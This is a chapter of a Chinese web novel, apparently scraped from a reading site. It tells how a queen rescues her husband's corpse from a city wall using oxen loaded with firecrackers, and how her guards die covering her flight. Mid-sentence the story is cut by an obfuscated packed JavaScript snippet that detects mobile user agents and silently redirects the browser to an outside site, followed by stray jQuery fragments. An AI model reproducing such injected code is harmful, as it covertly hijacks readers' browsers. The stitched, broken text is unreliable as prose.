默认冷灰
24号文字
方正启体

133. 绝路

作者:泥作花本书字数:K更新时间:
    城门的士兵慌了,忙将栅栏拖了过来堆了几层挡住城门口,关城门的士兵也在着手准备,做完这一切后全部士兵列阵以俟。


    牛群近了,他们这才看清牛背上垂下的是炮仗,大概有十几头牛,每头牛身上都挂了几排炮仗。士兵们慌了,连忙散开,城门也在慢慢阖闭。不知从哪里冲出了一匹马,马背上的人同样穿着大红长袍,头上未簪钗环,长发随意挽了一个髻松散地垂在脑后。她身后还跟着十几个人。


    “是是……”一名士兵看清来人紧张地半天说不出整话。


    夏轻染冲锋在前,高声朝他们喊话:“我只要城门上的人,快点放他下来!”


    城墙下的士兵躲开牛群冲击,抽出剑和长/枪杀了起来,城墙上的士兵也派了人去禀告,为首的已经领着士兵朝地上的人射箭。


    虽然他们也不忍心这么做,但不听令也是死。不管是谁只要来抢就要将人抓住。


    密密麻麻的箭落下,夏轻染见牛群近了,忙朝孤竹道:“点火。”


    话音未落孤竹和十几个士兵已经将火折子扔了出去,这些人皆是近卫,武功和眼力极好,一人瞄准一头牛,火折子准确地落到牛背身上的炮仗,一经点火,立马噼哩叭啦地炸了起来。城门口瞬间惊天动地起来,火光亮如星辉。


    这一瞬间炮仗声,牛的哀嚎声以及腾起的烟雾让城门口兵慌马乱起来,有了烟雾的混淆城墙上早就布置好的兵力在这刻也没了优势。士兵冲向那些抵抗的人,夏轻染和孤竹朝门口奔去。有士兵来挡,孤竹应付,夏轻染一个人先往前冲,想趁烟雾还没飘过来把人救走。到了城下,抬头望了一眼许长风,心痛地朝孤竹喊:“快点!”


    孤竹一听,一边踹向身前的士兵,一边抢了一把剑瞅准绳子扔了过去,夏轻染坐在马背,使出全身的力准备接人。


    可是炮仗炸起的烟雾飘了一点过来影响了视线,那根绳子才断了一半,人还是挂在上面。冲鼻的烟味和震耳欲聋地响声使得城门口乱糟糟的。


    烟雾越来越大,再不趁乱结束他们全部都要折在这里。眼看孤竹被士兵围困,正着急时一个声音从城墙上面传来,“王后,你接好了!”


    夏轻染定睛一看,周延宗正拿刀割绳子,他身后的士兵不停地朝他砍,血也顺着绳子流了下来。


    她心中震颤,举起手接人。


    周延宗边割绳子边骂:“你们这些狗娘养的,王上对你们不好吗?谁不说一声王上贤明,如今你们眼睁睁地看着他挂在上面也无动于衷,你们还是人吗?”


    他的话骂得这些士兵臊得慌,一个个地你看我我看你都不去阻止了。周延宗忍着疼痛一刀一刀地来回划动绳子,在他的坚持下绳子终于只剩一根细丝牵着了。


    “王后!接好了!”他大声朝下喊了一声。


    孤竹也听到喊声,怕夏轻染一个人接不住于是狠厉扫了一圈,牵着马冲上前。刚到夏轻染身旁,便见一个红影落了下来。


    他起身一跃,接住那个红影,再将红影一把掼到夏轻染的马背上,猛拍马屁股,一人一尸便被带着往前冲了出去。


    孤竹大喊道:“撤!”


    还活着的士兵闻声往外围走。又是夜晚又是烟雾还有横冲直撞的牛群,他们和守城门的士兵都分不清谁是谁,只能靠声音辨别。


    无奈又是炮仗的爆炸声和朝城下连射的箭雨声,孤竹让士兵护卫夏轻染的命令很多都没听到,以至夏轻染带着许长风被牛群和士兵逼得在混乱中打转,半天也没冲出去。


    这个结果是夏轻染预料到的,她将大婚时价值连城的血玉耳珰换成了十几头牛和十几匹马,买了炮仗就是为了今晚将人带走。而他们十几个人躲着的这两日都是吃的馒头或者偷地里的菜拿水一煮什么味都没有,就那么连汤都喝了。


    他们人手不够,她既不能让许长风被挂在这里,又不能让自己被抓,只能把场面扰乱才有一线生机。孤竹见她一直被牛群和士兵逼着打转,于是飞奔上去将她身边的牛群和士兵击走。


    场面越来越乱,甚至看不到他们这十几个人还剩多少,夏轻染狠下心道:“我们走,他们只能留下了。”


    孤竹眼睛发红,咬牙吼了出来:“兄弟们,你们若活着就回家去,王上,我们带走了!”这些人都跟了他很多年,如此抛下比剜他的心还难受,但没办法,箭雨越来越密,他们再不走增援的人就来了。


    许是袍泽之情心有感应,有八/九个人听到了,这些人不约而同地往音源处靠陇,他们齐声说:“王后!快走!”


    夏轻染眼睛一酸,使劲勒着许长风和缰绳,全身的力都往喉间使,“驾!”


    孤竹也跟着她猛地窜了出去。


    炮仗炸完后烟雾散了,增援的士兵从城门骑马冲了出来。地上到处都是牛尸、马尸和人尸以及炮仗的碎纸屑。


    剩下两三个士兵看着冲出来的骑兵对望一眼,嘶吼一声冲了上去,哪怕只剩两三人也要为王后争取时间。


    没了烟雾这两三人就是活靶子,密密麻麻的箭将他们射成了刺猬。领头的骑兵说:“王上说了,不抓到人我们都别活了。”


    说完冲入了夜色。


    周延宗看着底下的狼藉突然笑了出来,盯着他的士兵有些不安,在考虑要不要拿下抵罪。他游眼望了一圈许国城墙,将那根曾经吊起他主子的绳子看了又看,又哭又笑,完全一副疯了的状态。


    突然他止住笑,攀上墙跺,毫不犹豫地纵身一跳,在空中高喊:“王上,臣尽……”


    话没说完,“砰”地一声,不明液体四溅,地上一个深深的坑。


    身后的追兵越来越近,孤竹也受了伤,他看了一眼许长风的尸体,对夏轻染说:“王后,属下去拦,您一定要平安带走王上。”


    夏轻染悲愤不已,她知道刚才那些人全都回不来了,现下只有孤竹一人,他若不去挡,那么他们谁都走不掉。那种挣扎和无力始终惯穿她的心脾。


    “你们的忠心他会知道的。”除了这句她好像说不出什么能更有安慰的话。


    孤竹笑了笑,撕下一片布将剑柄和手缠在一起,调转马头,视死如归地望向前方的路。


    夏轻染忍泪疾走,又冲出一个山丘后看到眠星骑马在前。她快速冲到面前问:“弄好了没?”


    眠星点头应声。眠星也不会武功去了只会增加麻烦,夏轻染便叫她在他们逃跑的路上设疑障,让追兵以为他们往南去了。


    其实她的目的是往北。夏轻染下了马,与眠星一同把许长风扶上另一匹马,仔细看这匹马连同眠星骑的那匹马的马蹄上裹着厚厚的棉布,奔跑起来不会留下足印。


    她们将刚刚骑的马猛拍,让它往南走,这条路上还会出现被树枝挂到的红布,以及早就准备好的血。红布是从夏轻染婚服上撕下来的,追兵一看血和婚服上的布料就会顺着蹄印往南追去。而她二人则骑着裹了蹄的马往北走了。


    走了很远都不见孤竹追上来,料他凶多吉少。朔月无明,山中树冠又大,越来越看不清只能跑慢些。也不知跑了多久,已经是伸手不见五指,恰是黎明前最黑暗的时间,她们听到前方有响动。


    二人对望也找不到彼此的眼神,夏轻


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17017089|194225||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    染心下一沉,前方是敌是友?前有异动后有追兵,眼下避锋才是正道。


    夏轻染下马将许长风从马上拖下来,吩咐眠星把马先赶走,再来和她一起架着许长风往灌丛里钻去。蹲下躲好后又将灌丛掩饰一翻希望能躲过此劫。


    刚躲好听得声音近了,好像来人不少,还有马儿轻咴,他们没有大肆点火把,只有小圈的昏光若隐若现。


    二人心惊胆战,眠星更是全身发抖。夏轻染抱着许长风的尸体勒得紧紧的以缓解她的紧张。


    她侧耳细听,好像有一排脚步声走了过去,可随即没了声音,但那弱小的光圈还在。难道被人发现了。


    眠星更紧张了,下意识地往里躲了躲,正是这一躲外面的人看到了这里的异常,夏轻染想阻止她都来不及。稍后就有脚步声往她们这里走来。


    接着便是利剑出鞘的声音,夏轻染心中悲凉,强迫自己冷静来想应对办法。正绞尽脑汁时剑刃扒开了灌丛,剑光印着火光的那雷闪之际她看清了那把熟悉的银剑。


    “阿璃,我夫君没了。”那把将要劈下的剑停住了。


    **


    许如媚派出去的人追了整整一夜也没追到,她气得大发雷霆,布了那么多兵力却还是让她跑了,恶气出了一通后她叫来万虎,吩咐他为迎战作准备。


    她不知道夏轻染会逃去哪里,但可以肯定的是只要她活着,她一定会打进来,她要提早备战。她将许王和许后软禁在麟趾宫,朝堂在她的逼迫下也在照常运作,只是人人自危,整个王宫笼罩在一片阴云下。


    而在鄑云城外百十里的山坳里却扎起了很多营寨,这里相对隐蔽,周围都有士兵警戒。夏轻染坐在主营帐里看着平躺在木板上的许长风发呆。


    阿璃从帐外提进一桶热水,满脸脏污的眠星上前淘洗帕子然后递给夏轻染,她哑声说:“王后,给王上擦擦吧。”


    夏轻染木讷地接过帕子在许长风的脸上擦了起来。他脸上本没有多少血的,周延宗的血顺着绳子流下,导致他头上脸上还有手上全沾了血。


    她把他头发上干涸的血渍扣了,再用热帕子擦干净,然后一根一根顺好。脸上的血要好弄一些,热帕子一敷,血块软了。擦洗干净后,一张灰白的脸出现在众人面前。


    视线下移她看到心口那处破洞,伸出颤抖的手去摸,大红的婚服已经变成乌红,被刺的血口发黑,破开的布料毛边沾了血有些发/硬/地支着,显得伤口更乱。隐忍的泪落在心口处,她将指节捏得发白。


    暗自抽泣一声才拿起他的手擦拭。由于双手被绑吊在城门上,双手手腕全是勒痕,绑他的人认为他死了不会感到痛,将绳子勒得过紧,导致手腕皮肉破了,肉糜和绳子毛刺堆积。


    她将毛刺和肉糜清除后再用热帕子把整双手擦洗干净。做完这一切她才深吸口气,将眼泪憋回去,连自己都还是一身血污都没有去清洗。


    “罗将军,”这才惊觉声音有些哑,轻咳一声后说,“找口好棺先将他放好。”


    罗明领命。孤竹的尸体也被阿璃带着人寻了回来。


    冷凝大婚时春雪也在慢慢融化,他们趁着各国送礼,边境人员多时伪装行商或送礼队伍分批次的下山。出囚燕关沿凹沙河再进入许国,到许国后多是昼伏夜行,饶是如此,山上的人也没全部出来。


    此刻营帐里聚满了人,罗明父子、海余、阿璃、还有百里弘深主仆俩以及少数参将,这些人全都望向这个全身血污还非常镇定的人。


    夏轻染缓缓起身,走向罗明,定眼瞧他,问:“罗将军,我的身份你可还有疑问?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)